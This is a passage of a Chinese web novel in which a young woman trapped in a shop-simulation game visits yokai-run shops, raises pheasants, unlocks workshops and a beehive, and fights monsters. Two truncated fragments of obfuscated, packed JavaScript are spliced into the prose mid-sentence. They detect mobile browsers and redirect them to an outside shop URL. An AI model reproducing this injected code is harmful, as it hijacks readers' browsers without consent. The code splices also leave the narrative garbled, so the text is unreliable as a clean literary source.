苏芸玩手游的时候就没失手过,这回眼神更好,更不可能找错,愉快地玩了三把,获得两枚金元宝,一袋子酒曲,满意离开了。 接下来是烤鸡店。 那当然得点一份尝尝味道。 开店的女孩就是最开始去杂货铺的客人之一,跟双胞胎姐妹聊开心了激动地尾巴乱甩的那个。 女孩叫白瑶,很活泼好客的性子。 看到苏芸便热情地拉着她坐下:“要几只烤鸡?” 苏芸看向蜂甜甜:“你能吃多少?” 蜂甜甜捧着果茶杯,伸出一根手指头。 苏芸就说:“那两只吧。” 说完看向大公鸡:“要不,你去外面待着?” 待在这家店看着同类被吃,多不落忍啊。 大公鸡白她一眼,跳到旁边的长凳上蹲下了。 苏芸惊疑:“你不会也要吃吧?” 吃蜈蚣、青蛇什么的就算了,吃同类可突破她的底线了啊。 就见白瑶特别上道地端来一盘子干果谷物放在大公鸡面前,大公鸡很自在地啄啄啄。 苏芸:“……”行吧。 就算是非人类,猫娘总是比触角更可爱。 苏芸不止一次看过白瑶的耳朵和尾巴,面对她却没有面对海漩时心惊胆战,反而更多的是好奇。 姓胡的胡锦开的是面馆,卖烤鸡的却是白瑶,苏芸盯着白瑶看,似乎通过近距离观察,看出她的真面目。 但这回白瑶偏偏藏得很好,尾巴耳朵一点没露。 白瑶被看紧张了,不自觉看看身后,化形的很好啊,没暴露什么啊。 这时,一名女孩从外气冲冲的进来:“气死我了!书生真是木头脑袋!” 苏芸看大对方立刻收回目光。 那女孩就是坐在朗月隔壁桌,跟朗月比吞鸡,且舌头会分叉的那位。 如果一定要跟非人类共处,待在毛茸茸身边压力肯定更小,好吧苏芸承认,她害怕一切蛇虫。 白瑶跟对方很熟络,过去上了杯茶,说:“是你自己魔怔了,老跟书生较什么劲。” 女孩嘀咕:“话本里都说了,我们一族跟书生是绝配。” 哪本话本?白娘子传吗? 苏芸不自在的挪了个位置,从大公鸡对面坐到大公鸡旁边。 刚坐下,又有一名眼睛很漂亮的女孩跟进来说:“不要理她,她跟书生一个月吵八回,烦死我了。” 22. 第 22 章 苏芸低调吃烤鸡。 你还别说,味道真好,表皮焦酥、肉质鲜嫩入味,搭配的蘸酱也合适。 苏芸和蜂甜甜吃得心满意足,中途饮料喝完,她还又添了两杯。 “你在喝什么呀?”眼睛很漂亮的女孩不知何时凑了过来,眼巴巴地盯着苏芸手里的果茶杯。 这女孩长了一双凤眼,偏偏眼神特别纯真。 苏芸大方地也给了她一杯果茶,加冰的那种。 女孩接过就喝,一杯下肚,眼睛都愉悦地眯起来。 果然加冰的果茶更对‘本地人’胃口啊。 “什么东西啊。”旁边又冒出一个脑袋,是舌头分岔的女孩。 苏芸不由自主看向对方的嘴,这会儿女孩的舌头特别正常。 这时白瑶端着烤鸡过来:“青鳞、小红,你们在那边干嘛?”两个这才坐回去。 苏芸犹豫片刻,还是趁结账的时候小声问白瑶:“你这里的鸡,是在哪里买的?” 白瑶骄傲道:“我自己养的。” 苏芸下意识往铺子内看去,这只占一个建筑格的小铺子,安置了厨房、食堂,还有养鸡的地方? 白瑶没苏芸想得多,见她观望铺子,还很开心地说:“九娘说小云你答应先扩张客栈,那你第二个帮我啊,铺子扩张后,我天天请你吃烤鸡。” 那很诱惑了。 苏芸点头:“我再攒攒钱。” 虽然知道街上的人们比游戏里灵活很多,但跟NPC讨论升级顺序什么,还是很新鲜哈。 苏芸又问:“你这儿有鸡蛋吗?” 白瑶茫然:“没有。”她都没等到鸡能下蛋,就烤着吃了。 苏芸不免遗憾叹气。 白瑶按住她:“你等一下。” 她飞快跑进厨房里,不一会儿便拎着两只鸡过来,并热情地递给苏芸:“你带回去养一养,就能下蛋了。” 你等等,你这是野鸡啊! 苏芸被动接过两只色泽艳丽的山鸡,这玩意刑不刑啊。 可好容易有机会发展养殖业,也不能随便放弃啊。 苏芸犹犹豫豫地走出铺子。 游戏所有仓库系统都没法收容这两只鸡,它们也不似大公鸡通人性。 苏芸站在店门口左右看看,还剩最后两个铺子,正纠结着是一鼓作气打完卡,还是先把野鸡放回去再过来。 一声怒喝传来:“站住!” 她下意识站住了。 而后才想起这不是现代,就算吃山鸡应该也不会被抓。 苏芸抬头,便见两名身着特殊制服的年轻男性在追着一名书生。 那制服有点像古代捕快服饰,可又有部分铠甲装饰,一时说不好是捕快还是将士。 而且有种说不出的奇怪。 苏芸认真看了许久才恍然。 正常制服,应该是一模一样,这两人的衣服却是对照款,一人斜襟往左一人往右。 出图真不严谨,苏芸在心里批评。 那两人已经顺利抓住了书生:“非开放期,外人不得随意踏入小镇。” “你们放开我,我要找青鳞。”书生挣扎几下,干脆大喊:“青鳞,你出来!” 苏芸见状,立刻放下纠结,就停在原地专心看戏。 青鳞和小红一块从烤鸡店出来,看到书生小红立刻对青鳞翻了个白眼:“你又要被他三言两语哄走啦。” 青鳞信誓旦旦:“这次我绝不会原谅他。” 但书生才说两句:“青鳞,我真的不能没有你……离开你我可怎么活……”之类的老词,青鳞就已经动摇了。 小红抱臂冷哼:“就知道是这种结果。” 青鳞挠头:“可他说不能没有我哎,万一真的死掉怎么办?” 苏芸:“……” 她就在店旁边,拿着之前撕破的布条装模作样地绑鸡。 这两只鸡没剪过飞羽,按理说撒手就能飞很远,但它们好像有点怕,被绑的时候几乎没怎么挣扎。 绑好后,苏芸重新提着鸡,超绝不经意地走到下一家铺子门口。 青鳞已经走到书生身旁对那两名年轻人说:“石达、石勇,这次麻烦你们啦。” 两人倒是没抱怨,只说:“他还不能留在镇上。”说罢便轻易放开书生。 青鳞说:“我跟他在外面生活。”而后拉着书生走了 没想到穿进游戏里还能看到真人版白娘子啊,正感慨着,小红不知何时过来:“真不明白她为什么喜欢书生?明明那些书生最喜欢败坏我们的名声!” 苏芸也不太理解。 人类因为幻象爱上非人生物这不足为奇,可非人生物眼里的人到底是怎样的? 她走进下一家铺子。 这是一家糖铺,准确地说是糖画铺。 比苏芸曾经在街上看到过的,最复杂的糖画还要夸张,她竟然看到一张清明上河图糖画。 这糖画就摆在铺子正前方的桌上,绝对是镇店之宝级别。 可是,“什么……才会产糖啊。” 产蜜的妖实在很好猜,但产糖的她一时想不到。 “糖是买来的。” 苏芸这才将注意力从糖画上挪开,这店里的老板也是位成熟女性,但和蜂蜜店老板不同,这位女性的肤色是健康的小麦色。 另外店里两边还有好些年轻小伙在忙碌制作新的糖画。 苏芸环顾一圈,问:“做这么多糖画,能卖得出去吗?” “卖不出去就自己吃。” 那你很想得开了。 苏芸立刻说:“我手里也有糖,你铺子收吗?” 女人很爽快:“可以啊。” 苏芸打开光屏,从灶台取出些糖给女人:“你先看看。” 把甜菜和甘蔗单独扔进灶台,会很随机地获得白糖、冰糖和红糖,苏芸这段时间攒了些。 女人接过她递过来的糖罐,先看了看,而后仰头对着嘴里倒了一大把。 苏芸头一次看人这么豪迈地吃糖,一时目瞪口呆。 旁边蜂甜甜眼巴巴地看着,忽然拉了拉苏芸的衣角,苏芸一看就明白她的眼神,也给了她一个白瓷糖罐。 蜂甜甜抱着糖罐安安静静待在旁边。 这是女人放下罐子,说:“没问题,只要是糖我们都收。” 就这样,苏芸依靠主动销售,成功获得新的周常任务。 更惊喜的还在后面,当她礼尚往来买了一支复杂精巧的凤簪糖画时,系统弹出新提示。 【恭喜你触发糖画图鉴收集活动。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580953|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 游戏所有合成路径都有图鉴收集活动,但图鉴只有全部点亮后才能获得超级礼包,平时点亮一两个图标,顶多获得一两个元宝,苏芸都懒得看。 没想到糖画还有集图活动呢。 苏芸立刻打铁趁热,准备买大把的糖画,却被老板阻止:“每位客人每天只能买五份糖画。” 这种店居然还限购? 怪不得你家能触发活动呢。 苏芸遗憾地去往下一家铺子。 “马车行?”苏芸想起来了。 这是长途交易任务点啊,原来在这里。 虽然飞鸟信箱也是对外交易渠道,但信箱那边主要起到一个收集明信片、风景卡的作用。 马车行才是真正的交易点,这里的车能一次性带着大量货物外出,同时带回大量的金元宝和稀有材料,是很重要的日常。 她立刻触发长途任务。 以往手游里,是在马车图标上显示物品清单,现在是车行的老板过来递给她一张清单:“最近这些货物在外面很畅销。” 苏芸接过一看,有不少高级合成物,还得攒一攒灵力才能完成。 而跟其他铺子只要待上一定时间就能完成打卡不同,马车行是必须完成第一次交易,才算打卡成功。 不用说了,苏芸拿着清单回去准备。 一回去,她就碰到一个难题,鸡放在哪里养? 散养肯定不行,苏芸本来是想放宠物窝,大公鸡住的地方可不就是正经鸡窝。 可大公鸡不乐意,一旦她有这种意图,大公鸡也不对那两只野鸡动嘴,脾气全对着她去了。 苏芸到处转一圈,最后想了个很天才的办法。 她耗费将近两百的灵力值,通过普通炼铜炉的第二合成线合成出一个铁笼,然后利落把两只野鸡塞进去。 大公鸡亲眼见证了这一切:“……”用这样的笼子锁两只普通的还没长大的野鸡吗? 苏芸把笼子往后院一放,人就去忙了。 趁着天色还好,她把今天特意攒着没看的视频看了。 很快,客人们陆陆续续上门。 肝完一波又一波的灵力值,苏芸才有时间收拾今日收获。 看到门神画和窗花的时候,苏芸突然想起来,她明明想通过视频了解些关于画的品级知识,刚刚一下给忙忘了,只看了两条字符视频、三条法术视频。 苏芸犹豫了一下,还是决定先放着,等明天再贴。 她点开后山的页面,树苗可算成熟了。 苏芸马不停蹄采集果子和茶叶,顿时有两条信息接连弹出。 【你采集了茶叶才意识到没有合适的制茶点,是否解锁炒茶坊?】 【你采集了鲜果忽然意识果子可以酿造美酒,是否解锁酿酒坊?】 苏芸一一点击确认,小石精顿时忙碌起来。 蜂甜甜听到动静,立刻抱着糖罐跑到后院好奇地看去。 苏芸也过去了。 只见灶台的斜上方,山壁之处被小石精弄出大团的尘雾。 但看了一会儿,苏芸就没耐心了,新建筑解锁得一两个小时呢,她回铺子里舒舒服服躺着,蜂甜甜却依旧留在后院。 两个小时后,悬崖峭壁之上,多出两个悬挂在半空的特殊建筑。 23. 第 23 章 刚解锁的炒茶坊、酿酒坊只占一个基建格,根本没资格称‘坊’,比一个小摊位大不了多少。 同时,从山路上衍生出两条新的石阶路,蔓延至两个新作坊。 以前苏芸有点恐高,但这毛病最近好像慢慢好了,反正走到悬在山壁上且没有围栏的石阶上时,她心中竟没有半点波澜。 苏芸亲自过去一看,炒茶坊只有一口大铁锅,一些晒制茶叶的筛子、簸箩,便再无其他。 酿酒坊一样,只有一个蒸笼和一排酒坛子。 使用方法和灶台一样,但茶坊和酒坊有固定配方,不会出现猎奇的小玩意,只要按照配方提供原材料,就能得到对应产物。 苏芸立刻开始炒茶、酿酒。 有了茶叶后,可以去茶铺开启周常交易任务,另外车行第一次任务清单里有大量的茶叶和酒。 对了,跟酒馆谈好了果茶供给,但其实酿出的酒也能再卖一部分给酒馆啊。 忙活一阵后,苏芸从上方下来。 种地、挖矿、探山,来回忙活一波,苏芸便准备关门上楼休息了。 她本是想把蜂甜甜安置在罗汉床上,跟沙发差不多的罗汉床睡一个小孩子绰绰有余。 蜂甜甜指着茶坊的方向:“我想住那里。” “这不太合适吧……” 且不说茶坊里根本不具备居住条件,就算蜂甜甜是非人类,可茶坊的茶叶不容有失啊。 游戏变成现实后,苏芸真不敢确定以茶铺老板苏茗展现出的性格特色,茶叶出一点问题,他会不会拒收。 蜂甜甜没有反驳,只是小眼神望着外面,很是渴望。 苏芸愈发为难,这时系统仿佛感应到她的为难,自动弹出来。 【检测到即将成熟的女王蜂,是否解锁蜂箱?】 苏芸眼睛一亮,赶紧解锁。 且和茶坊、酒坊不同,那两个有固定地址,仿佛早就存在只是被隐藏起来,而蜂箱解锁后是出现一张贴图,由她选择安装位置,才会真正落成。 苏芸跟蜂甜甜做最后确认:“你想住山上?” “嗯!” 苏芸把蜂箱挂在茶坊上方,蜂箱一落地,石精立刻出动。 她还让石精把靠近蜂箱的山地清理一遍,栽种上些树苗和鲜花,一时间所有石精都忙活起来。 小纸人也跑出来跟在石精身后,它不是去帮忙,纯看热闹。 那作为赔偿的纸牛现在是小纸人的坐骑。 苏芸知道它是个法术挂后,对它脆皮的事容忍度无限提升,因而放任不少,估计这也是小纸人敢大剌剌跑来跑去看热闹的原因。 蜂箱安装好后,真的只是一个普普通通的箱子模样。 苏芸带着些疑虑:“这能住吗?”不能住,就把攒下的钱先用来升级蜂箱。 蜂甜甜连连点头:“可以住可以住。” 说着一溜小跑上去,跑着跑着她便飞了起来,现在离得近,苏芸清晰地看到她的翅膀是一对透明膜翅。 待飞到小小蜂箱边后,蜂甜甜就这么直接一头扎进去了。 那么大的小孩消失无踪。 苏芸:“……” 她喊了句:“不舒服你再回来。”便自己上楼了。 这一晚上当然是继续肝车行清单。 过了十二点,苏芸默默念叨一些关于门神画像的事,而后果然顺利看到了一条相关视频。 视频里,女孩便会婴儿时期。 小小的婴孩刚刚学会怕,她一点点从杂货铺高高的门槛翻了出去,并露出一个得意的笑。 可下一秒,便出现让苏芸差点心梗的一幕。 只见大门之外,居然站着个身影缥缈、青面獠牙的存在。 小孩却不知危险,反而疑惑地看过去。 就在孩子即将遇险的时候,杂货铺大门上伸出一双手。 那双手,其中一只将孩子捞起抱回门内,另一只手只是轻轻一弹指,门外青面獠牙的家伙便消失不见。 “你这孩子怎么跑出去啦?”女人过来抱起孩子:“还好门神庇佑,快谢谢门神。” 说着她捉住孩子的小手,做出作揖道谢的架势,小孩作揖后,特别好奇地想伸手去抓门上的画像,被女人一把握住小手。 “可不能冒犯门神哦。”视频到这里结束。 苏芸先是恍然,门神像这么大作用吗,得赶快挂上。 刚要行动,又忽然想到,等等,现在大门外不会站着什么奇怪的东西吧? 苏芸思来想去,还是觉得使用拖延大法。 明天一早就去贴。 苏芸把几条视频全部看完,也只凑出一半清单,便开始打坐。 清晨后,苏芸说话算话,一大早打开门,第一件事便是贴门神画。 贴画的时候,她才第一次打开画像看到门神的模样。 和在原来世界看到过的孔武有力但面貌偏向凶恶的门神画像不同,这对门神像身形虽高挑,却不够壮硕,面貌也没有足够吓走宵小的凶恶感。 虽然是古代画像特有的写意版,眉目并不真切清晰,但也能看出对方的亲和。 苏芸细心贴好画像,虽然跟预测的不一样,但是,“拜托你们看护杂货铺的大门哟。” 心里想着,这门神像更帅气好看啊。 接着她又去贴窗花。 窗花倒是在玩游戏的时候就看过了,是漂亮的纸花中有个剪出来的可爱小孩。 苏芸把窗花贴在楼下窗户上。 “嗯。”纸婆婆过来时,立刻对她的劳动结果给予高度赞赏:“这才像样。” 招呼了几个客人,耗尽灵力后,苏芸就去找大公鸡:“我要用图纸了。” 这回可是白天,且特意跟你打过招呼了哦。 大公鸡没什么反应,这就是同意了。 苏芸马不停蹄使用了探山图纸。 之前不祥的预感再次应验,这回碰到的怪是大青蛇。 苏芸尖叫:“就说让你不要乱吃东西吧!” 大公鸡飞上去给了一击,就退回来示意她动作。 苏芸勇猛地一番操作,这回她特意留意着大青蛇的尾巴,没被扫到,但大青蛇不讲武德,喷出一团绿油油的毒气。 还好她早有准备。 在地上躺板板的苏芸拿出解毒丹,面无表情吞下,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590474|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分钟后泛青的脸才慢慢好转。 而这时大公鸡已经彻底解决了大青蛇。 苏芸召唤石精过来采集,完事后立刻把剩下一张图纸也给用了。 这回是巨大的□□。 苏芸修正过去浅薄的认知,□□放大后比蜈蚣更可怕,准确地说是有点恶心。 表层的疙瘩和黏腻的不知名黏液就不说了,外翻的眼珠简直反人类。 最难受的是,这回苏芸遭遇的攻击手段是黏液。 她对着身上用了好几张清洁符,可心理层面依然过不去,采集结束就迫不及待回楼上洗澡。 冲澡洗刷后,之前那身衣服都有点不想要了…… 可虽然她现在有换洗衣物,但那套刚来就在编织箱里的原始套装是有特殊效果的,因而苏芸在清洁后还是妥善收进柜子里。 过一阵,等忘记今天的事再说。 这会儿,她才有空收拾这一趟的收获。 大青蛇有遗蜕、毒囊、肉块和宝藏,□□只有毒囊和宝藏,另外多了一枚蓝色圆珠,叫月华珠。 还有采集物和任务奖励就不细提了。 苏芸把灵晶用了,充能一波继续合成物品。 肉块,她打算留一部分给大公鸡,剩下的拿去给海漩她们吃。 可今天她这么努力积攒清单,间歇性的完成上门交易,忙了一整天,清单却还没凑够,苏芸自然也就没心思出门闲逛。 忙到傍晚,苏芸有种一事无成的颓废感。 白天真的很难凑清单,只要恢复一点灵力,就会有客户过来,源源不断,一直晾着人家也不好。 正准备关门上楼,苏芸后知后觉想起今天一整天蜂甜甜都没出来,特意过去看了看。 蜂箱之外,看不到任何动静,喊蜂甜甜也没得到回应。 还是通过光屏里显示,蜂箱上出现一个倒计时,她才稍稍放心。 苏芸一连在家待了两天,才凑够清单。 没办法,清单里不仅有好些等级高需要几百灵力值才能合成的物品,还有各种山野材料、矿物和鲜花,山野材料和矿物纯碰运气,鲜花需要成长时间。 只能磨。 一凑够,苏芸没有犹豫,直接奔向车行。 经历两场探山图纸的打怪任务,她对外面的恐惧骤减,其一外面的店家们至少面相上时好相处的,其二是她每次受伤都很快恢复了。 因而这次,苏芸没再强求让大公鸡跟着,只打开棋盘,随时准备召唤石精而已。 “站住!”才走到烤鸡店,一声厉呵传来。 苏芸身为守法公民,下意识的又双叒站住了。 而后才反应过来,朝喊话的人看过去,是一名手拿着剑的年轻男性。 疑惑的看一眼,苏芸便接着往车行走去。 “妖孽,你认不认错!” 苏芸脚步一顿,犹豫片刻,到底叹了口气,认命的回头看去。 与那年轻人对峙的是青鳞,果然是青鳞。 青鳞昂着脖颈,倔强的说:“我没错!” “那年轻人冷眉一竖,你身为异类,却行欺瞒之事,与普通人结合,还不是错?”